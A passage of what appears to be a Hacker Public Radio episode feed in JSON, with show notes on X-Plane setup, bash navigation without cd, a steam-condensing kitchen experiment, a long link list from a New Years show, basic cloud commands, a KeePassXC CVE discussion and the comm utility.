                                                            • http://www.xsquawkbox.net/xpsdk/mediawiki/DataRefEditor

                                                            • \n
                                                            • PlaneCommand

                                                            • \n
                                                            • SomCoders

                                                            • \n
                                                            • Terrain Radar

                                                            • \n
                                                            • https://www.reddit.com/r/flightsim/comments/7tbcsh/shoutoutreview_forkboy2s_orthophotos/\n?

                                                            • \n
                                                            • https://forums.x-plane.org/index.php?/files/file/43314-webfmc/

                                                            • \n
                                                            \n

                                                            Things to learn

                                                            \n
                                                              \n
                                                            • stab trim

                                                            • \n
                                                            • inop

                                                            • \n
                                                            • GPU/CPU tune https://www.x-plane.com/manuals/desktop/#settingtherenderingoptionsforbestperformance

                                                            • \n
                                                            \n

                                                            Help/FAQ:

                                                            \n
                                                              \n
                                                            • reset FMC by setting a new origin

                                                            • \n
                                                            • save views CTRL+NUMBERPAD recall NUMBERPAD

                                                            • \n
                                                            • Scenery ini http://www.pterosaur.org.uk/Xplane10/Setup/Problem_Solving/Problems.html

                                                            • \n
                                                            • This file order is:

                                                              \n

                                                              All add on airports at the top of the list (Important)

                                                              \n
                                                                Aerosoft default airports (Do Not rename)\n\n  Demo Airports (Do Not rename)\n\n  Global airports (Do Not rename - Keep below ALL airports)\n\n       Library files (Can be anywhere, but I put them below airports)\n\n       Landscape scenery files (Keep below the airports they may affect)\n\n             Ortho (Below all airports)\n\n              Mesh (Below ortho)
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"video games,vatsim, simulators","version":0,"downloads":0,"valid":1}, {"id":3882,"date":"2023-06-20","title":"Alternatives to the cd command","duration":632,"summary":"Navigate your filesystem without cd","notes":"

                                                            Five or six ways I could think of to roam the files of your Linux computer without cd.

                                                            \n\n

                                                            pushd and popd dirs

                                                            \n

                                                            https://en.wikipedia.org/wiki/Pushd_and_popd

                                                            \n

                                                            The pushd command, when called with a filepath as an argument, saves\nthe current working directory in memory (via a directory stack) so it\ncan be returned to at any time, places the new filepath at the top of\nthe stack, and changes to the new filepath. The popd command returns to\nthe path at the top of the directory stack.

                                                            \n

                                                            cd -

                                                            \n

                                                            From man bash An argument of - is converted to $OLDPWD\nbefore the directory change is attempted.

                                                            \n

                                                            Variables

                                                            \n
                                                            EXPORT mydir="/path/to/file/"\ncd ${mydir}
                                                            \n

                                                            History and histverify

                                                            \n

                                                            Using !number from the history command will execute the command

                                                            \n
                                                            [user@pc ~]$ history\n1  cd tmp\n2  cd ~\n3  history\n\n[user@pc ~]$ !3\ncd tmp\n[user@pc tmp]$\n
                                                            \n

                                                            from the man command

                                                            \n
                                                                   shopt [-pqsu] [-o] [optname ...]\n              Toggle the values of settings controlling optional shell behavior.\n              ...\n              -s     Enable (set) each optname.\n              -u     Disable (unset) each optname.
                                                            \n

                                                            Now using !number from the history command will put the command on\nthe prompt but you need to execute it yourself

                                                            \n
                                                            [user@pc ~]$ shopt -s histverify\n[user@pc ~]$ !39673\n[user@pc ~]$ cd tmp
                                                            \n

                                                            autocd command

                                                            \n
                                                            [ken@kalani ~]$ shopt -s autocd\n[ken@kalani ~]$ tmp\ncd -- tmp\n[ken@kalani tmp]$ ~\ncd -- /home/ken
                                                            \n

                                                            working without changing\nto directory

                                                            \n
                                                            [ken@kalani ~]$ ls tmp
                                                            \n","hostid":78,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"bash,linux","version":0,"downloads":0,"valid":1}, {"id":3883,"date":"2023-06-21","title":"Emergency Show: How to demonstrate the power of condensing steam","duration":483,"summary":"A kitchen experiment to demonstrate the power of condensing steam","notes":"

                                                            A kitchen experiment to demonstrate the power of condensing steam

                                                            \n\n

                                                            What do you think about when you consider how a steam engine works?

                                                            \n\n

                                                            Well you probably think about a fire used to heat water in a pressure vessel to form super-heated steam.

                                                            \n\n

                                                            Then that steam is injected into cylinders in a controlled and sequenced manner to push a piston up the length of the cylinder. Piston rods and cranks are used to change the linear motion into rotary motion to drive wheels or gears.

                                                            \n\n

                                                            Inertia causes the rotary motion, through the same cranks and rods, to expel the spent steam from the cylinder, before the whole cycle begins again.

                                                            \n\n

                                                            But that's only half the story.

                                                            \n\n

                                                            Steam engines also use the power of a partial vacuum created by condensing steam to produce linear motion in the same way, or to suck the hot products of combustion from the fire through pipes which pass through the pressure-vessel and heat the water.

                                                            \n\n

                                                            What you will need for the experiment

                                                            \n\n
                                                              \n
                                                            1. An empty drinks can, such as a 330ml soda can.
                                                            2. \n
                                                            3. A shallow container, such as a baking tray.
                                                            4. \n
                                                            5. A pair of barbecue tongs or kitchen tongs with which you will be able to grasp a hot can without burning your hand or getting too close to the heat.
                                                            6. \n
                                                            7. A source of heat, the cooker top in the kitchen is ideal.
                                                            8. \n
                                                            \n\n

                                                            How to do it

                                                            \n\n

                                                            Step 1:

                                                            \n\n

                                                            Thoroughly wash out the empty can. Any sugary residue might burn and smell.

                                                            \n\n

                                                            Put about a centimetre (half an inch) of water into the can. Enough to cover the centre of the concave end of the can inside.

                                                            \n\n

                                                            Step 2:

                                                            \n\n

                                                            Place your shallow container next to your source of heat. This will most probably be a baking tray on the kitchen worktop next to the cooker where you will heat your can.

                                                            \n\n

                                                            Put about a centimetre (half an inch) of cool water in the tray.

                                                            \n\n

                                                            Step 3:

                                                            \n\n

                                                            Place your can on the heat. It will quickly begin to boil because it only contains a small amount of water.

                                                            \n\n

                                                            Wait until the water is really boiling and filling the can with steam.

                                                            \n\n

                                                            Grasp the can with the tongs. You need to do this in an underhand grip which will allow you to, in one swift and smooth motion, remove the can from the heat, turn it over and plunge the open end into the cool water in the tray.

                                                            \n\n

                                                            Do exactly that. As swiftly and smoothly as you can.

                                                            \n\n

                                                            Here you will see the need for a vessel like a baking tray, the larger target makes the quick and smooth transfer of the can from the heat to the condensing cool water easier.

                                                            \n\n

                                                            What happens?

                                                            \n\n

                                                            The can is full of steam, which will instantly condense when the open end of the can is plunged into the cool water.

                                                            \n\n

                                                            Bam!

                                                            \n\n

                                                            The partial vacuum created in the can will cause it to be very quickly and impressively crushed.

                                                            \n\n

                                                            The power of a partial vacuum is far easier to harness and is more powerful than pushing a piston along a cylinder with pressurised steam.

                                                            \n\n

                                                            The mechanism of an efficient steam engine will inject pressurised steam into a cylinder during the phase of motion where the piston is pushed up the length of the cylinder, and inject a small amount of cold water into the cylinder fractionally after the full travel of the piston and as it is just beginning the return stroke. In this way the cylinder is both pushed and pulled up and down the cylinder.

                                                            \n\n

                                                            But the condensing part of the cycle is far more efficient at pulling the piston than the steam injection phase is at pushing it.

                                                            \n\n

                                                            The dramatic 'chugging' of a steam engine as it pulls away from a station is the part of the sequence in which condensing steam is used to create a partial vacuum in the smoke-box at the front of the engine. The hot products of combustion are drawn by this partial vacuum from the fire at the far end of the engine, through the pipes which pass through the boiler, increasing the efficiency of the heating of the water. The same partial vacuum is also used to increase the draft of air into the furnace.

                                                            \n\n

                                                            It is mostly the rush of clean air into the furnace, drawn by the partial vacuum, which gives rise to the deep and pleasing heart-beat of a big powerful engine as it works hard to move a heavy train from a standing start.

                                                            \n\n

                                                            Mike

                                                            \n\n","hostid":282,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"steam, condensing, vacuum, demonstrate, experiment","version":0,"downloads":0,"valid":1}, {"id":3884,"date":"2023-06-22","title":"2022-2023 New Years Show Episode 10","duration":10355,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #10

                                                            \n
                                                              \n
                                                            • Tech And Coffee
                                                              \nhttps://techandcoffee.info/

                                                            • \n
                                                            • CDC COVID Death Toll
                                                              \nhttps://covid.cdc.gov/covid-data-tracker/#datatracker-home

                                                            • \n
                                                            • Edinburgh
                                                              \nhttps://edinburgh.org/

                                                            • \n
                                                            • Glasgow
                                                              \nhttps://www.scotland.org/about-scotland/scotlands-stories/glasgow

                                                            • \n
                                                            • Pixelfed - A decentralized social media photo sharing site
                                                              \nhttps://pixelfed.org/

                                                            • \n
                                                            • Audacity
                                                              \nhttps://www.audacityteam.org/

                                                            • \n
                                                            • Ice Cast
                                                              \nhttps://icecast.org/

                                                            • \n
                                                            • Butt - Broadcast Using This Tool
                                                              \nhttps://danielnoethen.de/butt/

                                                            • \n
                                                            • FOSDEM Brussels, 2023
                                                              \nhttps://fosdem.org/2023/news/2022-09-14-fosdem-2023-dates/

                                                            • \n
                                                            • Arduboy Mini
                                                              \nhttps://liliputing.com/arduboy-mini-hits-kickstarter-for-29-and-up-tiny-8-bit-game-console-with-300-games-included/

                                                            • \n
                                                            • Pine Tab 2
                                                              \nhttps://arstechnica.com/gadgets/2022/12/pinetab-2-is-a-rockchip-based-linux-powered-repairable-tablet/

                                                            • \n
                                                            • NVIDIA 3080
                                                              \nhttps://www.nvidia.com/en-us/geforce/graphics-cards/30-series/rtx-3080-3080ti/

                                                            • \n
                                                            • Pinebook Pro
                                                              \nhttps://www.pine64.org/pinebook-pro/

                                                            • \n
                                                            • Pinenote
                                                              \nhttps://www.pine64.org/pinenote/

                                                            • \n
                                                            • GDP Win 4
                                                              \nhttps://www.indiegogo.com/projects/gpd-win-4-smallest-6800u-handheld-console#/

                                                            • \n
                                                            • Steam OS
                                                              \nhttps://store.steampowered.com/steamos

                                                            • \n
                                                            • Steam Deck
                                                              \nhttps://store.steampowered.com/steamdeck

                                                            • \n
                                                            • Docking Stations For Steam Deck
                                                              \nhttps://store.steampowered.com/steamdeckdock

                                                            • \n
                                                            • HP Elitedesk G2 Mini
                                                              \nhttps://support.hp.com/us-en/product/hp-elitedesk-800-35w-g2-desktop-mini-pc/7633266

                                                            • \n
                                                            • Plex
                                                              \nhttps://www.plex.tv/

                                                            • \n
                                                            • Audio Bookshelf
                                                              \nhttps://www.audiobookshelf.org/

                                                            • \n
                                                            • Jellyfin
                                                              \nhttps://jellyfin.org/

                                                            • \n
                                                            • Helios NAS
                                                              \nhttps://kobol.io/

                                                            • \n
                                                            • Synology NAS
                                                              \nhttps://www.synology.com/en-us

                                                            • \n
                                                            • VIA NAS Board (end of life)
                                                              \nhttps://www.viatech.com/en/support/eol/nas7800-eol/

                                                            • \n
                                                            • Huion Graphics Drawing Tablet
                                                              \nhttps://store.huion.com/

                                                            • \n
                                                            • X2GO
                                                              \nhttps://wiki.x2go.org/doku.php

                                                            • \n
                                                            • Nicotine+
                                                              \nhttps://nicotine-plus.org/

                                                            • \n
                                                            • Soulseek
                                                              \nhttp://www.slsknet.org/news/

                                                            • \n
                                                            • Diet Pi
                                                              \nhttps://dietpi.com/

                                                            • \n
                                                            • Yunohost
                                                              \nhttps://yunohost.org/#/

                                                            • \n
                                                            • Open Project
                                                              \nhttps://www.openproject.org/

                                                            • \n
                                                            • Nextcloud
                                                              \nhttps://nextcloud.com/

                                                            • \n
                                                            • Wire Guard
                                                              \nhttps://www.wireguard.com/

                                                            • \n
                                                            • Proxmox
                                                              \nhttps://www.proxmox.com/en/

                                                            • \n
                                                            • Linode
                                                              \nhttps://www.linode.com/

                                                            • \n
                                                            • Podman - manage containers
                                                              \nhttps://podman.io/

                                                            • \n
                                                            • Open Media Vault
                                                              \nhttps://www.openmediavault.org/

                                                            • \n
                                                            • NAS4FREE (now called XigmaNAS)
                                                              \nhttps://xigmanas.com/xnaswp/

                                                            • \n
                                                            • SAMBA
                                                              \nhttps://www.samba.org/

                                                            • \n
                                                            • Wacom Intuos Drawing Tablets
                                                              \nhttps://www.wacom.com/en-us/products/pen-tablets/wacom-intuos

                                                            • \n
                                                            • Garuda Linux
                                                              \nhttps://garudalinux.org/

                                                            • \n
                                                            • btrfs (ButterFS)
                                                              \nhttps://btrfs.wiki.kernel.org/index.php/Main_Page

                                                            • \n
                                                            • Jessica Garson
                                                              \nhttps://pyvideo.org/speaker/jessica-garson.html

                                                            • \n
                                                            • Fox Dot - Live Coding with Python
                                                              \nhttps://github.com/Qirky/FoxDot

                                                            • \n
                                                            • GTK
                                                              \nhttps://www.gtk.org/

                                                            • \n
                                                            • bulky
                                                              \nhttps://pypi.org/project/bulky/

                                                            • \n
                                                            • Toy Pizza Oven
                                                              \nhttps://www.melissaanddoug.com/products/top-bake-pizza-counter-wooden-play-food

                                                            • \n
                                                            • Crayola Drawing Pad
                                                              \nhttps://shop.crayola.com/toys-and-activities/ultimate-light-board-choose-your-color-7472.html

                                                            • \n
                                                            • Joplin
                                                              \nhttps://joplinapp.org/

                                                            • \n
                                                            • Lotus Notes
                                                              \nhttps://en.wikipedia.org/wiki/HCL_Domino

                                                            • \n
                                                            • GNOTE
                                                              \nhttps://wiki.gnome.org/Apps/Gnote

                                                            • \n
                                                            • SUSE Linux
                                                              \nhttps://www.suse.com/

                                                            • \n
                                                            • Keepass
                                                              \nhttps://keepass.info/

                                                            • \n
                                                            • Blackberry
                                                              \nhttps://www.blackberry.com/us/en/products/devices

                                                            • \n
                                                            • InSync (Sync to Google drive)
                                                              \nhttps://www.insynchq.com/

                                                            • \n
                                                            • Keypass XC
                                                              \nhttps://keepassxc.org/

                                                            • \n
                                                            • Bitwarden
                                                              \nhttps://bitwarden.com/

                                                            • \n
                                                            • Geocities
                                                              \nhttps://en.wikipedia.org/wiki/Yahoo!_GeoCities

                                                            • \n
                                                            • Angelfire
                                                              \nhttps://www.angelfire.lycos.com/

                                                            • \n
                                                            • Yubikey
                                                              \nhttps://www.yubico.com/

                                                            • \n
                                                            • Linux Mint
                                                              \nhttps://linuxmint.com/

                                                            • \n
                                                            • ASUS Vivobook
                                                              \nhttps://www.asus.com/us/laptops/for-home/vivobook/

                                                            • \n
                                                            • Mastodon
                                                              \nhttps://mastodon.social/explore

                                                            • \n
                                                            • South Park
                                                              \nhttps://southpark.cc.com/

                                                            • \n
                                                            • Mastercard
                                                              \nhttps://www.mastercard.us/en-us.html

                                                            • \n
                                                            • westernunion:\nNotify your bank before using a credit or debit card when\ntraveling.

                                                            • \n
                                                            • ftc:\nWhat To Know About Credit Freezes and Fraud Alerts.

                                                            • \n
                                                            • wikipedia:\nMastercard Inc. (stylized as MasterCard from 1979–2016, mastercard from\n2016–2019) is the second-largest payment-processing corporation\nworldwide.

                                                            • \n
                                                            • wikipedia:\nEurocard was a credit card, introduced in 1964 by a Swedish banker in\nthe Wallenberg family as an alternative to American Express.

                                                            • \n
                                                            • visitsweden:\nCurrency, credit cards and money in Sweden.

                                                            • \n
                                                            • wikipedia:\nVisa Inc. (/ˈviːzə, ˈviːsə/; stylized as VISA) is an American\nmultinational financial services corporation headquartered in San\nFrancisco, California.

                                                            • \n
                                                            • mewe: Brilliant features with no\nBS. No Ads. No Spyware. MeWe is the Next-Gen Social Network.

                                                            • \n
                                                            • hplovecraft: HOWARD\nPHILLIPS LOVECRAFT (20 August 1890–15 March 1937) is probably best known\nas a writer of weird fiction, but some believe his voluminous\ncorrespondence to be his greatest accomplishment.

                                                            • \n
                                                            • wikipedia:\nLovecraftian horror, sometimes used interchangeably with \"cosmic\nhorror\", is a subgenre of horror fiction and weird fiction that\nemphasizes the horror of the unknowable and incomprehensible more than\ngore or other elements of shock.

                                                            • \n
                                                            • adultswim:\nRick and Morty is an American adult animated science-fiction sitcom\ncreated by Justin Roiland and Dan Harmon for Cartoon Network's nighttime\nprogramming block Adult Swim.

                                                            • \n
                                                            • wikipedia:\nFacebook is an online social media and social networking service owned\nby American company Meta Platforms.

                                                            • \n
                                                            • wikipedia:\nTwitter is an online social media and social networking service owned\nand operated by American company Twitter, Inc., on which users send and\nrespond publicly or privately 280-character-long messages, images and\nvideos known as \"tweets\".

                                                            • \n
                                                            • climagic: Command LIne Magic\n(CLIMagic).

                                                              \n
                                                                \n
                                                              • climagic:\nIndiana Linux Fest 2012.
                                                              • \n
                                                            • \n
                                                            • element: Element is a free and\nopen-source software instant messaging client based on the Matrix\nprotocol. Element supports end-to-end encryption, groups, channels and\nsharing of files between users.

                                                            • \n
                                                            • matrix:\nLinux Lug Cast on Matrix.

                                                            • \n
                                                            • matrix: HPR on\nMatrix.

                                                            • \n
                                                            • wikipedia:\nAtom was a free and open-source text and source code editor for macOS,\nLinux, and Microsoft Windows with support for plug-ins written in\nJavaScript, and embedded Git Control.

                                                            • \n
                                                            • matrix: An open network for\nsecure, decentralized communication.

                                                            • \n
                                                            • wikipedia:\nMulti-factor authentication.

                                                            • \n
                                                            • apple:\nTwo-factor authentication for Apple ID.

                                                            • \n
                                                            • wikipedia: An\nauthenticator is a means used to confirm a user's identity, that is, to\nperform digital authentication.

                                                            • \n
                                                            • wikipedia:\nGoogle Authenticator.

                                                            • \n
                                                            • wikipedia:\nKey authentication.

                                                            • \n
                                                            • wikipedia: SQRL\n(pronounced \"squirrel\") or Secure, Quick, Reliable Login (formerly\nSecure QR Login) is a draft open standard for secure website login and\nauthentication.

                                                            • \n
                                                            • twit: Security\nNow - Hosted by Steve Gibson, Leo Laporte.

                                                            • \n
                                                            • keepassxc: KeePassXC -\nCross-Platform Password Manager.

                                                            • \n
                                                            • wikipedia: In\ncryptanalysis and computer security, password cracking is the process of\nrecovering passwords from data that has been stored in or transmitted by\na computer system in scrambled form.

                                                            • \n
                                                            • wikipedia:\nLastPass is a password manager distributed in subscription form as well\nas a freemium model with limited functionality.

                                                            • \n
                                                            • cnet:\nLastPass Owner GoTo Says Hackers Stole Customer Data Backups.

                                                            • \n
                                                            • wikipedia:\nThe Zip drive is a removable floppy disk storage system that was\nintroduced by Iomega in late 1994.

                                                            • \n
                                                            • wikipedia: Lotus\n1-2-3 is a discontinued spreadsheet program from Lotus Software (later\npart of IBM).

                                                            • \n
                                                            • wikipedia: Office\nSpace is a 1999 American black comedy film written and directed by Mike\nJudge.

                                                            • \n
                                                            • wikipedia:\nIn cryptography, encryption is the process of encoding\ninformation.

                                                            • \n
                                                            • wikipedia: In\ncomputing, tar is a computer software utility for collecting many files\ninto one archive file, often referred to as a tarball, for distribution\nor backup purposes.

                                                            • \n
                                                            • wikipedia: A\nquantum computer is a computer that exploits quantum mechanical\nphenomena.

                                                            • \n
                                                            • wikipedia:\nFinal Destination is an American horror franchise that includes five\nfilms, two comic books, and nine novels.

                                                            • \n
                                                            • wikipedia:\nBuddhism.

                                                            • \n
                                                            • wikipedia:\nConquian, Coon Can or Colonel (the two-handed version) is a rummy-style\ncard game.

                                                            • \n
                                                            • linuxfestnorthwest:\nLinuxFest Northwest 2022 has concluded.

                                                            • \n
                                                            • wikipedia: Lead\nshielding refers to the use of lead as a form of radiation protection to\nshield people or objects from radiation so as to reduce the effective\ndose.

                                                            • \n
                                                            • wikipedia: The\nHulk is a superhero appearing in American comic books published by\nMarvel Comics.

                                                            • \n
                                                            • jeffgeerling: I'm\ngeerlingguy most places online. I'm an author and software developer\nfrom St. Louis, MO.

                                                              \n
                                                                \n
                                                              • jeffgeerling:\nColons, semicolons, and Crohns surgery, oh my!
                                                              • \n
                                                            • \n
                                                            • wikipedia:\nColon cancer staging.

                                                            • \n
                                                            • wikipedia:\nColonoscopy.

                                                            • \n
                                                            • wikipedia:\nA smartwatch is a wearable computer in the form of a watch; modern\nsmartwatches provide a local touchscreen interface for daily use, while\nan associated smartphone app provides management and telemetry, such as\nlong-term biomonitoring.

                                                            • \n
                                                            • hipaajournal:\nJudge Denies Injunction Banning Meta from Collecting Patient Data via\nMeta Pixel Code.

                                                            • \n
                                                            • wikipedia:\nRaspberry Pi.

                                                            • \n
                                                            • wikipedia:\nArduino.

                                                            • \n
                                                            • odroid:\nODROID-C2.

                                                            • \n
                                                            • wikipedia:\nGoogle Hangouts is a discontinued cross-platform instant messaging\nservice developed by Google.

                                                            • \n
                                                            • wikipedia:\nMainframe computer

                                                            • \n
                                                            • wikipedia:\nncurses.

                                                            • \n
                                                            • wikipedia:\nThe IBM 3270 is a family of block oriented display and printer computer\nterminals introduced by IBM in 1971 and normally used to communicate\nwith IBM mainframes.

                                                            • \n
                                                            • ibm:\na PCOMM TN3270E.

                                                            • \n
                                                            • wikipedia:\nCommand-line interface.

                                                            • \n
                                                            • redhat: 10\nways to use the Linux find command.

                                                            • \n
                                                            • github:\nWelcome to moby-thesaurus.org, a free and open-source website designed\nto facilitate meanderings through the Moby Thesaurus, the largest\nthesaurus in the English language.

                                                            • \n
                                                            • wikipedia:\nSoftware as a service.

                                                            • \n
                                                            • wikipedia:\nC++ (pronounced \"C plus plus\") is a high-level general-purpose\nprogramming language created by Danish computer scientist Bjarne\nStroustrup as an extension of the C programming language, or \"C with\nClasses\".

                                                            • \n
                                                            • wikipedia:\ndeb is the format, as well as extension of the software package format\nfor the Debian Linux distribution and its derivatives.

                                                            • \n
                                                            • wikipedia: dpkg\nis the software at the base of the package management system in the free\noperating system Debian and its numerous derivatives.

                                                            • \n
                                                            • wikipedia: K3b\n(from KDE Burn Baby Burn) is a CD, DVD and Blu-ray authoring application\nby KDE for Unix-like computer operating systems.

                                                            • \n
                                                            • nero:\nNero Burning ROM: Rip, copy, burn and protect data.

                                                            • \n
                                                            • wikipedia:\nFeature creep.

                                                            • \n
                                                            • wikipedia:\nA digital single-lens reflex camera (digital SLR or DSLR) is a digital\ncamera that combines the optics and the mechanisms of a single-lens\nreflex camera with a digital imaging sensor.

                                                            • \n
                                                            • wikipedia: A\nmirrorless camera is a photo camera featuring a single, removable lens\nand a digital display.

                                                            • \n
                                                            • wikipedia:\nDarkroom.

                                                            • \n
                                                            • corel:\nWhat is Corel AfterShot Pro?

                                                            • \n
                                                            • darktable: darktable is\nan open source photography workflow application and raw\ndeveloper.

                                                            • \n
                                                            • wikipedia: Pentax\nK1000.

                                                            • \n
                                                            • hackerpublicradio:\nNoisetorch is a program for Linux that creates a virtual microphone that\nremoves background sounds.

                                                            • \n
                                                            • wikipedia:\nNoise gate.

                                                            • \n
                                                            • proxmox: Proxmox\nVirtual Environment.

                                                            • \n
                                                            • jellyfin: Jellyfin is the\nvolunteer-built media solution that puts you in control of your\nmedia.

                                                            • \n
                                                            \n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3885,"date":"2023-06-23","title":"L'apéro des Papas Manchots podcast, Rencontre avec le vétérinaire du Libre","duration":7315,"summary":"A sample episode from the latest entry to the Free Culture Podcast","notes":"\n\n","hostid":30,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"FreeCulturePodcast,Creative Commons,L'apéro des Papas Manchots","version":0,"downloads":0,"valid":1}, {"id":3886,"date":"2023-06-26","title":"light saber zzz ohh no!","duration":1242,"summary":"I talk about my problem with light savers ...","notes":"

                                                            https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.mp4

                                                            \n

                                                            https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.zip

                                                            \n

                                                            lightsaber in customization and skills saber https://www.crimsondawn.com/products/mystery-box?variant=33206141681741\nI paid $268USD for Neopixel Proffie : https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"light sabers,star warz,cat,lul cats,memes","version":0,"downloads":0,"valid":1}, {"id":3887,"date":"2023-06-27","title":"10 must-know commands for a new cloud admin","duration":1499,"summary":"Learn these essential Linux commands so you know how to run your cluster","notes":"

                                                            Learn Linux basics so you can manage your cluster.

                                                            \n

                                                            \nAdded by Ken\n

                                                            \n\n
                                                              \n
                                                            1. kubectl
                                                            2. \n
                                                            3. curl
                                                            4. \n
                                                            5. unzip
                                                            6. \n
                                                            7. tar
                                                            8. \n
                                                            9. sudo
                                                            10. \n
                                                            11. mv
                                                            12. \n
                                                            13. chmod
                                                            14. \n
                                                            15. Using ./ before a script in the current directory
                                                            16. \n
                                                            17. cd to change directory
                                                            18. \n
                                                            19. ls
                                                            20. \n
                                                            21. echo
                                                            22. \n
                                                            23. export
                                                            24. \n
                                                            \n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cloud,kubernetes,containers,pod","version":0,"downloads":0,"valid":1}, {"id":3888,"date":"2023-06-28","title":"KeePassXC recent CVE","duration":588,"summary":"Sgoti talks about KeePassXC's security model and a recent CVE.","notes":"
                                                              \n
                                                            • Source: Discussion\non CVE-2023–35866
                                                              \n\n
                                                                \n
                                                              • Supporting Source: CVE-2023-35866
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Security\ntheater
                                                              \n\n
                                                                \n
                                                              • Security theater is the practice of taking security measures that\nare considered to provide the feeling of improved security while doing\nlittle or nothing to achieve it
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: KeePassXC: Documentation and\nFAQ
                                                              \n\n
                                                                \n
                                                              • Supporting Source: KeePassXC:\nGetting Started Guide
                                                                \n
                                                              • \n
                                                              • Supporting Source: KeePassXC: User\nGuide
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"KeePassXC, CVE-2023–35866","version":0,"downloads":0,"valid":1}, {"id":3889,"date":"2023-06-29","title":"comm - compare two sorted files line by line","duration":195,"summary":"A great tool to quickly find the differences between two files","notes":"

                                                            From the man page \"comm - compare two sorted files line by line\"

                                                            \n

                                                            It's part of the core utils package and you can install it using\ndnf install coreutils on RPM distros, or\napt install coreutils on Debian based ones.

                                                            \n
                                                            [host@hpr]$ man comm\n\nCOMM(1)                               User Commands                              COMM(1)\n\nNAME\n       comm - compare two sorted files line by line\n\nSYNOPSIS\n       comm [OPTION]... FILE1 FILE2\n\nDESCRIPTION\n       Compare sorted files FILE1 and FILE2 line by line.\n\n       When FILE1 or FILE2 (not both) is -, read standard input.\n\n       With no options, produce three-column output.  Column one contains lines unique to FILE1,\n       column two contains lines unique to FILE2, and column three contains lines common to both\n       files.\n\n       -1     suppress column 1 (lines unique to FILE1)\n\n       -2     suppress column 2 (lines unique to FILE2)\n\n       -3     suppress column 3 (lines that appear in both files)\n\n       --check-order\n              check that the input is correctly sorted, even if all input lines are pairable\n\n       --nocheck-order\n              do not check that the input is correctly sorted\n\n       --output-delimiter=STR\n              separate columns with STR\n\n       --total\n              output a summary\n\n       -z, --zero-terminated\n              line delimiter is NUL, not newline\n\n       --help display this help and exit\n\n       --version\n              output version information and exit\n\n       Note, comparisons honor the rules specified by 'LC_COLLATE'.\n\nEXAMPLES\n       comm -12 file1 file2\n              Print only lines present in both file1 and file2.\n\n       comm -3 file1 file2\n              Print lines in file1 not in file2, and vice versa.\n\nAUTHOR\n       Written by Richard M. Stallman and David MacKenzie.\n\nREPORTING BUGS\n       GNU coreutils online help: <https://www.gnu.org/software/coreutils/>\n       Report any translation bugs to <https://translationproject.org/team/>\n\nCOPYRIGHT\n       Copyright © 2022 Free Software Foundation, Inc.  License GPLv3+: GNU GPL version 3 or later\n       <https://gnu.org/licenses/gpl.html>.  This is free software: you are free to change and\n       redistribute it.  There is NO WARRANTY, to the extent permitted by law.\n\nSEE ALSO\n       join(1), uniq(1)\n\n       Full documentation <https://www.gnu.org/software/coreutils/comm>\n       or available locally via: info '(coreutils) comm invocation'\n\nGNU coreutils 9.1
                                                            \n

                                                            I always find that confusing, so for me it's a lot easier to see what\nis going on by creating some example files.

                                                            \n

                                                            First let's create some test files by echoing the number 1 and the\nnumber 2 into a file called 1and2.txt

                                                            \n
                                                            [host@hpr]$ echo "1" > 1and2.txt\n[host@hpr]$ echo "2" >> 1and2.txt
                                                            \n

                                                            And let's create another one with the value 2 and 3 and we'll call it\n2and3.txt

                                                            \n
                                                            [host@hpr]$ echo "2" > 2and3.txt\n[host@hpr]$ echo "3" >> 2and3.txt
                                                            \n

                                                            Then we can see what each command does using these examples.

                                                            \n
                                                            [host@hpr]$ comm -1 -2 1and2.txt 2and3.txt\n2\n[host@hpr]$ comm -1 -3 1and2.txt 2and3.txt\n3\n[host@hpr]$ comm -2 -3 1and2.txt 2and3.txt\n1\n
                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"comm,compare,coreutils","version":0,"downloads":0,"valid":1}, {"id":3890,"date":"2023-06-30","title":"Lessons Learned","duration":793,"summary":"What we learned from this experience that will make the next one better.","notes":"

                                                            This trip started with a difficult week with things breaking and\nmistakes being made. But in the end we had a really good time and want\nto do another trip. But we have learned a few lessons, and we'll pass\nthem along to benefit anyone else who might want to do something\nsimilar.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, Lessons Learned","version":0,"downloads":0,"valid":1}, {"id":3891,"date":"2023-07-03","title":"HPR Community News for June 2023","duration":6145,"summary":"HPR Volunteers talk about shows released and comments posted in June 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3869Thu2023-06-015 minute war gameKlaatu
                                                            3870Fri2023-06-02TexasAhuka
